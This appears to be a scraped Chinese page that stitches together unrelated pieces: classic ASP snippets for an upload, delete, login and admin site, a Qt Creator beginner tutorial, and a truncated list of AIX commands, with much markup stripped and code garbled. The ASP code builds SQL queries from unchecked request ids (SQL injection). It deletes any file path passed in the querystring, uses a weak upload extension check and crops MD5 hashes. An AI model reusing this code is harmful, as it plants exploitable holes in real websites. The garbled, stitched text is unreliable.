(请同一目录建立文件夹upfile/softpic) 上传文件的页面(调用upsoftpic.asp)
upsoftpic.asp
upfile.asp <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <%Server.ScriptTimeout=999%> <% if request("action")="upsoftpic" then set upload=new upload_5xsoft set file=upload.file("softpic") fileExt=lcase(right(file.filename,4)) if fileEXT<>".jpg" and fileEXT<>".gif" and fileEXT<>".rar" then '---设置上传类型 ++++fileEXT<>".***"++++++++ response.write"" response.end end if if file.fileSize>0 then formPath="upfile/softpic" '-------上传路径 'formPath="../upfile/softpic" if right(formPath,1)<>"/" then formPath=formPath&"/" end if vfname = filename(now()) fname = vfname & "." & GetExtendName(file.FileName) file.SaveAs Server.mappath(formPath&fname) ''保存文件 %> <% '------文件名 end if set file=nothing set upload=nothing function filename(fname) fname = now() fname = replace(fname,"-","") fname = replace(fname," ","") fname = replace(fname,":","") fname = replace(fname,"PM","") fname = replace(fname,"AM","") fname = replace(fname,"上午","") fname = replace(fname,"下午","") filename=fname end function function GetExtendName(FileName) dim ExtName ExtName = LCase(FileName) ExtName = right(ExtName,3) ExtName = right(ExtName,3-Instr(ExtName,".")) GetExtendName = ExtName end function end if %> upload.asp 删除文件记录 <% if request("action")="manage" then call manage() end if if request("action")="edit" then id=request("id") set rs=server.createobject("adodb.recordset") sql="select * from biao where id="&id&"" rs.open sql,conn,1,1 call edit() end if if request("action")="del" then set rs=server.createobject("adodb.recordset") sql="select * from biao where id="&request("id")&"" rs.open sql,conn,3,2 set fileobj=server.createobject("scripting.filesystemobject") if fileobj.FileExists(server.mappath(""&rs("picurl"))) then fileobj.DeleteFile server.mappath(""&rs("picurl")) end if rs.delete conn.close response.write"" end if if request("action")="delall" then set rs=server.createobject("adodb.recordset") sql="select * from biao" rs.open sql,conn,3,2 set fileobj=server.createobject("scripting.filesystemobject") i=0 do while not(rs.bof or rs.eof) and i1 loop conn.execute("delete * from biao") conn.close response.write"" end if if request("action")="saveedit" then name=request.form("name") picurl=request.form("picurl") hits=request.form("hits") content=request.form("content") set rs=server.createobject("adodb.recordset") sql="select * from biao where id="&request("id")&"" rs.open sql,conn,3,2 rs("name")=name rs("content")=content rs("picurl")=picurl rs("hits")=hits rs.update conn.close set rs=nothing response.write "" end if %> 删除文件 &struploadfiles=<%=rs("picurl")%>&action=delsoftpic" onClick="{if (confirm('您确定要删除这个吗?')){return true;}return false;}">删除 -------------------------------- --*delfile.asp内容*--- <%if request("action")="delsoftpic" then picurl=request.form("picurl") set rs=server.createobject("adodb.recordset") sql="select * from biao where id="&request("id")&"" rs.open sql,conn,3,2 rs("picurl")=null struploadfiles=trim(request.querystring("struploadfiles")) action=trim(request.querystring("action")) dim fso,arruploadfiles,i set fso = createobject("scripting.filesystemobject") fso.deletefile(server.mappath("" & struploadfiles)) set fso = nothing rs.update conn.close set rs=nothing response.write"" end if %> [返回] 8。有关ubb ----------ubbcode.asp-------------- <% const ImagePath="images/emot/" function UBBCode(strContent) strContent= FilterJS(strContent) dim re dim po,ii dim reContent Set re=new RegExp re.IgnoreCase =true re.Global=True po=0 ii=0 re.Pattern="[UPLOAD=(gif|jpg|jpeg|bmp|png)](.[^[]*)(gif|jpg|jpeg|bmp)[/UPLOAD]" strContent=re.replace(strContent,"
1.gif"" border=0> 此主题相关图片如下:
2$1"" border=0 alt=转动滚轮可缩放图片 按此新窗口浏览图片 onload=""imgload(this)"" onclick=""window.open(this.src,null,'')"" onmousewheel=""return bbimg(this)"">") re.Pattern="[IMG](http|https|ftp)://(.[^[]*)[/IMG]" strContent=re.replace(strContent,"1://$2 border=0 style='cursor:hand' alt=转动滚轮可缩放图片;按此新窗口浏览图片 onload=""imgload(this)"" onclick=""window.open(this.src,null,'')"" onmousewheel=""return bbimg(this)"">") re.Pattern="[DIR=*([0-9]*),*([0-9]*)](.[^[]*)[/DIR]" strContent=re.Replace(strContent,"166B1BCA-3F9C-11CF-8075-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=7,0,2,0 width=$1 height=$2>1 height=$2>") re.Pattern="[QT=*([0-9]*),*([0-9]*)](.[^[]*)[/QT]" strContent=re.Replace(strContent,"1 height=$2 autoplay=true loop=false controller=true playeveryframe=false cache=false scale=TOFIT bgcolor=#000000 kioskmode=false targetcache=false pluginspage=http://www.apple.com/quicktime/>") re.Pattern="[MP=*([0-9]*),*([0-9]*)](.[^[]*)[/MP]" strContent=re.Replace(strContent,"22d6f312-b0f6-11d0-94ab-0080c74c7e95 class=OBJECT id=MediaPlayer width=$1 height=$2 >1>2inf.cab#Version=5,1,52,701 flename=mp src=$3 width=$1 height=$2>") re.Pattern="[RM=*([0-9]*),*([0-9]*)](.[^[]*)[/RM]" strContent=re.Replace(strContent,"11cf-B84B-0020AFBBCCFA class=OBJECT id=RAOCX width=$1 height=$2>1>
11CF-B84B-0020AFBBCCFA height=32 id=video2 width=$1>1>1>") re.Pattern="([FLASH])(.[^[]*)([/FLASH])" strContent= re.Replace(strContent,"2"" TARGET=_blank>点击开新窗口欣赏该FLASH动画!16 width=16>[全屏欣赏]
27CDB6E-AE6D-11cf-96B8-444553540000 width=500 height=400>2"">2"" quality=high pluginspage='http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash' type='application/x-shockwave-flash' width=500 height=400>$2") re.Pattern="([FLASH=*([0-9]*),*([0-9]*)])(.[^[]*)([/FLASH])" strContent= re.Replace(strContent,"点击开新窗口欣赏该FLASH动画!16 width=16>[全屏欣赏]
27CDB6E-AE6D-11cf-96B8-444553540000 width=$2 height=$3>2 height=$3>$4") re.Pattern="([URL])(.[^[]*)([/URL])" strContent= re.Replace(strContent,"2"" TARGET=_blank>$2") re.Pattern="([URL=(.[^[]*)])(.[^[]*)([/URL])" strContent= re.Replace(strContent,"2"" TARGET=_blank>$3") re.Pattern="([EMAIL])(S+@.[^[]*)([/EMAIL])" strContent= re.Replace(strContent,"1.gif>2"">$2") re.Pattern="([EMAIL=(S+@.[^[]*)])(.[^[]*)([/EMAIL])" strContent= re.Replace(strContent,"1.gif>2"" TARGET=_blank>$3") '自动识别网址 're.Pattern = "^((http|https|ftp|rtsp|mms):(//|\\)[A-Za-z0-9./=?%-&_~`@':+!]+)" 'strContent = re.Replace(strContent,"1>$1") 're.Pattern = "((http|https|ftp|rtsp|mms):(//|\\)[A-Za-z0-9./=?%-&_~`@':+!]+)$" 'strContent = re.Replace(strContent,"1>$1") 're.Pattern = "([^>=""])((http|https|ftp|rtsp|mms):(//|\\)[A-Za-z0-9./=?%-&_~`@':+!]+)" 'strContent = re.Replace(strContent,"$12>$2") '自动识别www等开头的网址 're.Pattern = "([^(http://|http:\)])((www|cn)[.](w)+[.]{1,}(net|com|cn|org|cc)(((/[~]*|\[~]*)(w)+)|[.](w)+)*(((([?](w)+){1}[=]*))*((w)+){1}([&](w)+[=](w)+)*)*)" 'strContent = re.Replace(strContent,"2>$2") '自动识别Email地址,如打开本功能浏览内容很多的帖子会引起服务器停顿 're.Pattern = "([^(=)])((w)+[@]{1}((w)+[.]){1,3}(w)+)" 'strContent = re.Replace(strContent,"2"">$2") re.Pattern="[em(.[^[]*)]" strContent=re.Replace(strContent,"1.gif border=0 align=middle>") re.Pattern="[HTML](.[^[]*)[/HTML]" strContent=re.Replace(strContent,"1>
以下内容为程序代码:
$1
") re.Pattern="[code](.[^[]*)[/code]" strContent=re.Replace(strContent,"1>
以下内容为程序代码:
$1
") re.Pattern="[color=(.[^[]*)](.[^[]*)[/color]" strContent=re.Replace(strContent,"1>$2") re.Pattern="[face=(.[^[]*)](.[^[]*)[/face]" strContent=re.Replace(strContent,"1>$2") re.Pattern="[align=(center|left|right)](.*)[/align]" strContent=re.Replace(strContent,"
1>$2
") re.Pattern="[QUOTE](.*)[/QUOTE]" strContent=re.Replace(strContent,"1 class=tableborder1>
1>$1

") re.Pattern="[fly](.*)[/fly]" strContent=re.Replace(strContent,"$1") re.Pattern="[move](.*)[/move]" strContent=re.Replace(strContent,"$1") re.Pattern="[GLOW=*([0-9]*),*(#*[a-z0-9]*),*([0-9]*)](.[^[]*)[/GLOW]" strContent=re.Replace(strContent,"1 style=""filter:glow(color=$2, strength=$3)"">$4
") re.Pattern="[SHADOW=*([0-9]*),*(#*[a-z0-9]*),*([0-9]*)](.[^[]*)[/SHADOW]" strContent=re.Replace(strContent,"1 style=""filter:shadow(color=$2, strength=$3)"">$4
") re.Pattern="[i](.[^[]*)[/i]" strContent=re.Replace(strContent,"$1") re.Pattern="[u](.[^[]*)([/u])" strContent=re.Replace(strContent,"$1") re.Pattern="[b](.[^[]*)([/b])" strContent=re.Replace(strContent,"$1") re.Pattern="[size=([1-4])](.[^[]*)[/size]" strContent=re.Replace(strContent,"1>$2") strContent=replace(strContent,"","") set re=Nothing UBBCode=strContent end function Function FilterJS(v) if not isnull(v) then dim t dim re dim reContent Set re=new RegExp re.IgnoreCase =true re.Global=True re.Pattern="(javascript)" t=re.Replace(v,"&#106avascript") re.Pattern="(jscript:)" t=re.Replace(t,"&#106script:") re.Pattern="(js:)" t=re.Replace(t,"&#106s:") 're.Pattern="(value)" 't=re.Replace(t,"&#118alue") re.Pattern="(about:)" t=re.Replace(t,"about:") re.Pattern="(file:)" t=re.Replace(t,"file:") re.Pattern="(document.cookie)" t=re.Replace(t,"documents.cookie") re.Pattern="(vbscript:)" t=re.Replace(t,"&#118bscript:") re.Pattern="(vbs:)" t=re.Replace(t,"&#118bs:") re.Pattern="(on(mouse|exit|error|click|key))" t=re.Replace(t,"&#111n$2") 're.Pattern="(&#)" 't=re.Replace(t,"&#") FilterJS=t set re=nothing end if End Function function HTMLEncode(fString) if not isnull(fString) then fString = replace(fString, ">", ">") fString = replace(fString, "<", "<") fString = Replace(fString, CHR(32), " ") fString = Replace(fString, CHR(9), " ") fString = Replace(fString, CHR(34), """) fString = Replace(fString, CHR(39), "'") fString = Replace(fString, CHR(13), "") fString = Replace(fString, CHR(10) & CHR(10), "

") fString = Replace(fString, CHR(10), "
") HTMLEncode = fString end if end function function nohtml(str) dim re Set re=new RegExp re.IgnoreCase =true re.Global=True re.Pattern="(<.[^<]*>)" str=re.replace(str," ") re.Pattern="()" str=re.replace(str," ") nohtml=str set re=nothing end function function cutStr(str,strlen) dim l,t,c l=len(str) t=0 for i=1 to l c=Abs(Asc(Mid(str,i,1))) if c>255 then t=t+2 else t=t+1 end if if t>=strlen then cutStr=left(str,i)&".." exit for else cutStr=str end if next cutStr=replace(cutStr,chr(10),"") end function %> '----------ubbcode.asp结束----------------------------- <%=left(rs("name"),6)%> <%=ubbcode(rs("content"))%> <%=Server.HTMLEncode(rs("content"))%> ----------------------字符截取开始------------------------------- <% if len(rs("name"))>10 then response.write ""&left(rs("name"),10)&".." else response.write ""&rs("name")&"" end if %> ----------------------字符截取结束--------------------------------- 9。有关台登陆 chk.asp <% if session("admin")="" then response.redirect"index.asp" end if %> md5.asp <% Private Const BITS_TO_A_BYTE = 8 Private Const BYTES_TO_A_WORD = 4 Private Const BITS_TO_A_WORD = 32 Private m_lOnBits(30) Private m_l2Power(30) Private Function LShift(lValue, iShiftBits) If iShiftBits = 0 Then LShift = lValue Exit Function ElseIf iShiftBits = 31 Then If lValue And 1 Then LShift = &H80000000 Else LShift = 0 End If Exit Function ElseIf iShiftBits < 0 Or iShiftBits > 31 Then Err.Raise 6 End If If (lValue And m_l2Power(31 - iShiftBits)) Then LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000 Else LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits)) End If End Function Private Function RShift(lValue, iShiftBits) If iShiftBits = 0 Then RShift = lValue Exit Function ElseIf iShiftBits = 31 Then If lValue And &H80000000 Then RShift = 1 Else RShift = 0 End If Exit Function ElseIf iShiftBits < 0 Or iShiftBits > 31 Then Err.Raise 6 End If RShift = (lValue And &H7FFFFFFE) m_l2Power(iShiftBits) If (lValue And &H80000000) Then RShift = (RShift Or (&H40000000 m_l2Power(iShiftBits - 1))) End If End Function Private Function RotateLeft(lValue, iShiftBits) RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits)) End Function Private Function AddUnsigned(lX, lY) Dim lX4 Dim lY4 Dim lX8 Dim lY8 Dim lResult lX8 = lX And &H80000000 lY8 = lY And &H80000000 lX4 = lX And &H40000000 lY4 = lY And &H40000000 lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF) If lX4 And lY4 Then lResult = lResult Xor &H80000000 Xor lX8 Xor lY8 ElseIf lX4 Or lY4 Then If lResult And &H40000000 Then lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8 Else lResult = lResult Xor &H40000000 Xor lX8 Xor lY8 End If Else lResult = lResult Xor lX8 Xor lY8 End If AddUnsigned = lResult End Function Private Function md5_F(x, y, z) md5_F = (x And y) Or ((Not x) And z) End Function Private Function md5_G(x, y, z) md5_G = (x And z) Or (y And (Not z)) End Function Private Function md5_H(x, y, z) md5_H = (x Xor y Xor z) End Function Private Function md5_I(x, y, z) md5_I = (y Xor (x Or (Not z))) End Function Private Sub md5_FF(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_F(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub Private Sub md5_GG(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_G(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub Private Sub md5_HH(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_H(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub Private Sub md5_II(a, b, c, d, x, s, ac) a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_I(b, c, d), x), ac)) a = RotateLeft(a, s) a = AddUnsigned(a, b) End Sub Private Function ConvertToWordArray(sMessage) Dim lMessageLength Dim lNumberOfWords Dim lWordArray() Dim lBytePosition Dim lByteCount Dim lWordCount Const MODULUS_BITS = 512 Const CONGRUENT_BITS = 448 lMessageLength = Len(sMessage) lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) BITS_TO_A_BYTE)) (MODULUS_BITS BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS BITS_TO_A_WORD) ReDim lWordArray(lNumberOfWords - 1) lBytePosition = 0 lByteCount = 0 Do Until lByteCount >= lMessageLength lWordCount = lByteCount BYTES_TO_A_WORD lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition) lByteCount = lByteCount + 1 Loop lWordCount = lByteCount BYTES_TO_A_WORD lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(&H80, lBytePosition) lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3) lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29) ConvertToWordArray = lWordArray End Function Private Function WordToHex(lValue) Dim lByte Dim lCount For lCount = 0 To 3 lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1) WordToHex = WordToHex & Right("0" & Hex(lByte), 2) Next End Function Public Function MD5(sMessage) m_lOnBits(0) = CLng(1) m_lOnBits(1) = CLng(3) m_lOnBits(2) = CLng(7) m_lOnBits(3) = CLng(15) m_lOnBits(4) = CLng(31) m_lOnBits(5) = CLng(63) m_lOnBits(6) = CLng(127) m_lOnBits(7) = CLng(255) m_lOnBits(8) = CLng(511) m_lOnBits(9) = CLng(1023) m_lOnBits(10) = CLng(2047) m_lOnBits(11) = CLng(4095) m_lOnBits(12) = CLng(8191) m_lOnBits(13) = CLng(16383) m_lOnBits(14) = CLng(32767) m_lOnBits(15) = CLng(65535) m_lOnBits(16) = CLng(131071) m_lOnBits(17) = CLng(262143) m_lOnBits(18) = CLng(524287) m_lOnBits(19) = CLng(1048575) m_lOnBits(20) = CLng(2097151) m_lOnBits(21) = CLng(4194303) m_lOnBits(22) = CLng(8388607) m_lOnBits(23) = CLng(16777215) m_lOnBits(24) = CLng(33554431) m_lOnBits(25) = CLng(67108863) m_lOnBits(26) = CLng(134217727) m_lOnBits(27) = CLng(268435455) m_lOnBits(28) = CLng(536870911) m_lOnBits(29) = CLng(1073741823) m_lOnBits(30) = CLng(2147483647) m_l2Power(0) = CLng(1) m_l2Power(1) = CLng(2) m_l2Power(2) = CLng(4) m_l2Power(3) = CLng(8) m_l2Power(4) = CLng(16) m_l2Power(5) = CLng(32) m_l2Power(6) = CLng(64) m_l2Power(7) = CLng(128) m_l2Power(8) = CLng(256) m_l2Power(9) = CLng(512) m_l2Power(10) = CLng(1024) m_l2Power(11) = CLng(2048) m_l2Power(12) = CLng(4096) m_l2Power(13) = CLng(8192) m_l2Power(14) = CLng(16384) m_l2Power(15) = CLng(32768) m_l2Power(16) = CLng(65536) m_l2Power(17) = CLng(131072) m_l2Power(18) = CLng(262144) m_l2Power(19) = CLng(524288) m_l2Power(20) = CLng(1048576) m_l2Power(21) = CLng(2097152) m_l2Power(22) = CLng(4194304) m_l2Power(23) = CLng(8388608) m_l2Power(24) = CLng(16777216) m_l2Power(25) = CLng(33554432) m_l2Power(26) = CLng(67108864) m_l2Power(27) = CLng(134217728) m_l2Power(28) = CLng(268435456) m_l2Power(29) = CLng(536870912) m_l2Power(30) = CLng(1073741824) Dim x Dim k Dim AA Dim BB Dim CC Dim DD Dim a Dim b Dim c Dim d Const S11 = 7 Const S12 = 12 Const S13 = 17 Const S14 = 22 Const S21 = 5 Const S22 = 9 Const S23 = 14 Const S24 = 20 Const S31 = 4 Const S32 = 11 Const S33 = 16 Const S34 = 23 Const S41 = 6 Const S42 = 10 Const S43 = 15 Const S44 = 21 x = ConvertToWordArray(sMessage) a = &H67452301 b = &HEFCDAB89 c = &H98BADCFE d = &H10325476 For k = 0 To UBound(x) Step 16 AA = a BB = b CC = c DD = d md5_FF a, b, c, d, x(k + 0), S11, &HD76AA478 md5_FF d, a, b, c, x(k + 1), S12, &HE8C7B756 md5_FF c, d, a, b, x(k + 2), S13, &H242070DB md5_FF b, c, d, a, x(k + 3), S14, &HC1BDCEEE md5_FF a, b, c, d, x(k + 4), S11, &HF57C0FAF md5_FF d, a, b, c, x(k + 5), S12, &H4787C62A md5_FF c, d, a, b, x(k + 6), S13, &HA8304613 md5_FF b, c, d, a, x(k + 7), S14, &HFD469501 md5_FF a, b, c, d, x(k + 8), S11, &H698098D8 md5_FF d, a, b, c, x(k + 9), S12, &H8B44F7AF md5_FF c, d, a, b, x(k + 10), S13, &HFFFF5BB1 md5_FF b, c, d, a, x(k + 11), S14, &H895CD7BE md5_FF a, b, c, d, x(k + 12), S11, &H6B901122 md5_FF d, a, b, c, x(k + 13), S12, &HFD987193 md5_FF c, d, a, b, x(k + 14), S13, &HA679438E md5_FF b, c, d, a, x(k + 15), S14, &H49B40821 md5_GG a, b, c, d, x(k + 1), S21, &HF61E2562 md5_GG d, a, b, c, x(k + 6), S22, &HC040B340 md5_GG c, d, a, b, x(k + 11), S23, &H265E5A51 md5_GG b, c, d, a, x(k + 0), S24, &HE9B6C7AA md5_GG a, b, c, d, x(k + 5), S21, &HD62F105D md5_GG d, a, b, c, x(k + 10), S22, &H2441453 md5_GG c, d, a, b, x(k + 15), S23, &HD8A1E681 md5_GG b, c, d, a, x(k + 4), S24, &HE7D3FBC8 md5_GG a, b, c, d, x(k + 9), S21, &H21E1CDE6 md5_GG d, a, b, c, x(k + 14), S22, &HC33707D6 md5_GG c, d, a, b, x(k + 3), S23, &HF4D50D87 md5_GG b, c, d, a, x(k + 8), S24, &H455A14ED md5_GG a, b, c, d, x(k + 13), S21, &HA9E3E905 md5_GG d, a, b, c, x(k + 2), S22, &HFCEFA3F8 md5_GG c, d, a, b, x(k + 7), S23, &H676F02D9 md5_GG b, c, d, a, x(k + 12), S24, &H8D2A4C8A md5_HH a, b, c, d, x(k + 5), S31, &HFFFA3942 md5_HH d, a, b, c, x(k + 8), S32, &H8771F681 md5_HH c, d, a, b, x(k + 11), S33, &H6D9D6122 md5_HH b, c, d, a, x(k + 14), S34, &HFDE5380C md5_HH a, b, c, d, x(k + 1), S31, &HA4BEEA44 md5_HH d, a, b, c, x(k + 4), S32, &H4BDECFA9 md5_HH c, d, a, b, x(k + 7), S33, &HF6BB4B60 md5_HH b, c, d, a, x(k + 10), S34, &HBEBFBC70 md5_HH a, b, c, d, x(k + 13), S31, &H289B7EC6 md5_HH d, a, b, c, x(k + 0), S32, &HEAA127FA md5_HH c, d, a, b, x(k + 3), S33, &HD4EF3085 md5_HH b, c, d, a, x(k + 6), S34, &H4881D05 md5_HH a, b, c, d, x(k + 9), S31, &HD9D4D039 md5_HH d, a, b, c, x(k + 12), S32, &HE6DB99E5 md5_HH c, d, a, b, x(k + 15), S33, &H1FA27CF8 md5_HH b, c, d, a, x(k + 2), S34, &HC4AC5665 md5_II a, b, c, d, x(k + 0), S41, &HF4292244 md5_II d, a, b, c, x(k + 7), S42, &H432AFF97 md5_II c, d, a, b, x(k + 14), S43, &HAB9423A7 md5_II b, c, d, a, x(k + 5), S44, &HFC93A039 md5_II a, b, c, d, x(k + 12), S41, &H655B59C3 md5_II d, a, b, c, x(k + 3), S42, &H8F0CCC92 md5_II c, d, a, b, x(k + 10), S43, &HFFEFF47D md5_II b, c, d, a, x(k + 1), S44, &H85845DD1 md5_II a, b, c, d, x(k + 8), S41, &H6FA87E4F md5_II d, a, b, c, x(k + 15), S42, &HFE2CE6E0 md5_II c, d, a, b, x(k + 6), S43, &HA3014314 md5_II b, c, d, a, x(k + 13), S44, &H4E0811A1 md5_II a, b, c, d, x(k + 4), S41, &HF7537E82 md5_II d, a, b, c, x(k + 11), S42, &HBD3AF235 md5_II c, d, a, b, x(k + 2), S43, &H2AD7D2BB md5_II b, c, d, a, x(k + 9), S44, &HEB86D391 a = AddUnsigned(a, AA) b = AddUnsigned(b, BB) c = AddUnsigned(c, CC) d = AddUnsigned(d, DD) Next 'MD5 = LCase(WordToHex(a) & WordToHex(b) & WordToHex(c) & WordToHex(d)) MD5=LCase(WordToHex(b) & WordToHex(c)) 'I crop this to fit 16byte database password :D End Function %> index.asp(登陆页面)

log.asp <% Session.TimeOut=30 if request("action")="login" then admin=trim(request.form("admin")) for i=1 to len(admin) '用MID函数读出变量admini 位置的一个字符 manage=mid(admin,i,1) if manage="'" or manage="%" or manage="<" or manage=">" or manage="&" then '如果admin含有' % < > &字符就转到出错页面 response.redirect "Error.asp" response.end end if next pwd=trim(request.form("pwd")) for i=1 to len(pwd) '用MID函数读出变量pwdi 位置的一个字符 pass=mid(pwd,i,1) if pass="'" or pass="%" or pass="<" or pass=">" or pass="&" then '如果pass含有' % < > &字符就转到出错页面 response.redirect "Error.asp" response.end end if next pwd=md5(pwd) if admin="" or pwd="" then Response.Redirect ("Index.asp") end if set rs=server.createobject("adodb.recordset") sql="select * from admin where admin='"&admin&"'and pwd='"&pwd&"'" rs.open sql,conn,1,1 if not rs.eof then session("admin")=admin response.redirect"main.asp" else response.redirect"Error.asp" response.end end if end if if request("action")="logout" then session("admin")="" response.redirect"../index.asp" end if %> error.asp 登陆出错,三秒钟自动返回 其它加密的页面调用chk.asp pwd.asp修改密码 <% if request("action")="edit" then admin=trim(request.form("admin")) pwd=md5(trim(request.form("pwd"))) set rs=server.createobject("adodb.recordset") sql="select * from admin" rs.open sql,conn,3,2 rs("admin")=admin rs("pwd")=pwd rs.update set rs=nothing set conn=nothing response.write"" end if set rs=server.createobject("adodb.recordset") sql="select * from admin" rs.open sql,conn,1,1 %> ------------------------
" size="20"> " size="20">
info.asp(读取服务器基本参数) 无标题文档 1 class="k1" style="border-collapse: collapse">
25 colspan="2">恭喜:你已成功登陆台管理!
25> 服务器名:  <%=Request.ServerVariables("SERVER_NAME")%>
25> 服务器IP:  <%=Request.ServerVariables("LOCAL_ADDR")%>
25> 服务器端口:  <%=Request.ServerVariables("SERVER_PORT")%>
25> 服务器时间  <%=now%>
25> IIS版本:  <%=Request.ServerVariables("SERVER_SOFTWARE")%>
25> 服务器操作系统:  <%=Request.ServerVariables("OS")%>
25> 脚本超时时间  <%=Server.ScriptTimeout%> 秒
25> 站点物理路径:  <%=request.ServerVariables("APPL_PHYSICAL_PATH")%>
25> 服务器CPU数量:  <%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个
25> 服务器解译引擎:  <%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %>
25> 本文件路径:  <%=Request.ServerVariables("PATH_TRANSLATED")%>
一、Qt Creator 的安装hello world 程序的编写(原创) 1.首先到Qt 的官方网站上下载Qt Creator,这里我们下载windows 版的。 下载地址:http://qt.nokia.com/downloads 如下图我们下载:Download Qt SDK for Windows* (178Mb) 下载完成,直接安装即可,安装过程按默认设置即可。 2.运行Qt Creator,首先弹出的是欢迎界面,这里可以打开其自带的各种演示 程序。 3.我们用File->New 菜单来新建工程。 4.这里我们选择Qt4 Gui Application。 5.下面输入工程名要保存到的文件夹路径。我们这里的工程名为helloworld。 6.这时软件自动添加基本的头文件,因为这个程序我们不需要其他的功能,所以 直接点击Next。 7.我们将base class 选为QDialog 对话类。然点击Next。 8.点击Finish,完成工程的建立。 9.我们可以看见工程的所有文件都出现列表了。我们可以直接按下下面的 绿色的run 按钮或者按下Ctrl+R 快捷键运行程序10.程序运行会出现空白的对话,如下图。 11.我们双击文件列表的dialog.ui 文件,便出现了下面所示的图形界面编辑界 面。 12.我们右边的器件栏里找到Label 标签器件 13.按着鼠标左键将其拖到设计窗口上,如下图。 14.我们双击它,并将其内容改为helloworld。 15.我们右下角的属性栏里将字体大小由9 改为15。 16.我们拖动标签一角的蓝点,将全部文字显示出来。 17.再次按下运行按钮,便会出现helloworld。 到这里helloworld 程序便完成了。 Qt Creator 编译的程序其工程文件夹下会有一个debug 文件夹,其程序的.exe 可执行文件。但Qt Creator 默认是用动态链接的, 就是可执行程序运行时需要相应的.dll 文件。我们点击生成的.exe 文件,首 先可能显示“没有找到mingwm10.dll,因此这个应用程序未能启动。重新安装 应用程序可能会修复此问题。”表示缺少mingwm10.dll 文件。 解决这个问题我们可以将相应的.dll 文件放到系统 Qt Creator 的安装目录的qt 文件下的bin 文件夹下(我安装了D 盘, 所以路径是D:\Qt\2009.04\qt\bin),可以找到所有的相关.dll 文件。这里 找到mingwm10.dll 文件,将其复制到C:\WINDOWS\system 文件夹下,即可。下 面再提示缺少什么dll 文件,都像这样解决就可以了。 二、Qt Creator 编写多窗口程序(原创) 实现功能: 程序开始出现一个对话,按下按钮便能进入主窗口,如果直 接关闭这个对话,便不能进入主窗口,整个程序也将退出。当进入主窗口, 我们按下按钮,会弹出一个对话,无论如何关闭这个对话,都会回到主窗口。 实现原理: 程序里我们先建立一个主工程,作为主界面,然再建立一个对 话类,将其加入工程,然程序调用自己新建的对话类来实现多窗口。 实现过程: 1.首先新建Qt4 Gui Application 工程,工程名为nGui,Base class 选为QWidget。 建立好工程文件列表如下图。 2.新建对话类,如下图,新建,选择Qt Designer Form Class。 3.选择Dialog without Buttons。 4.类名设为myDlg。 5.点击Finish 完成。注意这里已经默认将其加入到了我们刚建的工程了。 6.如下图,mydlg.ui 拖入一个Push Button,将其上的文本改为“进入主 窗口”,其属性窗口将其objectName 改为enterBtn,下面的Signals and slots editor 进行信号槽的关联,其,Sender 设为enterBtn,Signal 设为clicked(),Receive 设为myDlg,Slot 设为accept()。这样就实现了单击 这个按钮使这个对话关闭并发出Accepted 信号的功能。下面我们将利用这个 信号。 7.修改主函数main.cpp,如下: #include #include "widget.h" #include "mydlg.h" //加入头文件 int main(int argc, char *argv[]) { QApplication a(argc, argv); Widget w; myDlg my1; //建立自己新建的类的对象my
AIX常用命令://查看机器序列号,IBM的基本信息都可以通过该命令查询得到 #prtconf #oslevel -r == uname -a //操作系统版本 #oslevel //查看操作系统版本ex :5.1.0.0 #oslevel -r //ex:5100-04 == oslevel -q //双机软件版本号 # lslpp -l|grep cluster //显示graphic display # lsdisp //查看CPU的个数 # bindprocessor -q //查看CPU的主频,操作系统版本最低是AIX 5.1,包含软件包bos.pmapi.pmsvcs pmcycles This machine runs at 1500MHz //显示cpu的主频是1.5G #如何查找根文件系统(/)的大文件 find -xdev -size +xxxx -ls #查找根卷组下大于2M的文件, 并根据文件大小排序, 大文件前. find / -xdev -size +1024 -ls |sort -r +6 8277 624 -r-xr-xr-x 1 root system 635390 Jul 31 2003 /sbin/helpers/jfs2/fsck 28 596 -rw-r--r-- 1 root system 609388 Apr 12 17:25 /smit.log 30 1660 -rw-r--r-- 1 root system 3338083 Apr 5 14:08 /core #查看备份磁带备份文件的大小 tcopy /dev/rmt0 tcopy: Tape File: 1; Records: 1 to 251; Size: 2097152. ---磁带机文件头大小 tcopy: Tape File: 1; Record: 252; Size 344064. ---磁带机文件头大小 tcopy: File: 1; End of File after: 252 Records, 526729216 Bytes. ---文件大小 tcopy: The end of the tape is reached. tcopy: The total tape length is 526729216 bytes. #如何取定文件与文件集的对应关系,有时使用某个安装文件, 但没有安装包含该文件的文件集,找到文件集来安装所需文件 首先确认系统已经安装了“bos.content_list”文件集(fileset), 如果没有安装, 请使用smitty installp进行安装. 运行which_fileset命令, 根据文件查找对应的文件集. 例如: #which_fileset iostat /usr/bin/iostat bos.acct 5.1.0.0 运行lslpp -f 命令, 